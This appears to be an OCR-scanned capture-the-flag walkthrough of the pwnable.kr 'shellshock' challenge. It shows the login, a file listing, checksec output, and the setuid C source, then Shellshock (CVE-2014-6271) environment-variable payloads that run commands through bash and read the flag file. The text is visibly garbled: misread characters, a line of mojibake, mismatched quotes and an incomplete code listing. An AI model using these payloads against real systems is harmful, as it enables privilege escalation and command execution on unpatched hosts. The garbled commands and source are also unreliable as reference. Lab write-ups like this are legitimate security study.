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ssh shellshock@pwnable.kr -p2222 (pw:guest)



shellshock@pwnable:~$ 1s -1
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash

root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c "
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- pwnable file shellshock

shellshock: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/1d-linux-x86-64.s0.2,
for GNU/Linux 2.6.24, BuildID[shall=faal21cbh26120bbeed48c2848da28048a7f4ce@l, not stripped
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checksec shellshock

Arch: amd64-64-1ittle

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (©x400000)
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shellshock@pwnable:~$ ./shellshock

shock_me

shellshock.c

#include <stdio.h>

int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;

] LUE BRI 2K H 3% T 1 i SO Fbash#EAT a2 30T, X NbashAT 50 2 BB e e Rz M 2 w] DUERE 40T 01

env x="() { :;}; echo; echo vulnerable' ./bash -c :
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shellshock@pwnable:~$ env x="() { :;}; echo; echo vulnerable' ./bash -c

vulnerable
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env x="() { :;}; /bin/cat flag' ./shellshock

shellshock@wnable:~$ env x="() { :;}; /bin/cat flag'
pnly if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

./shellshock
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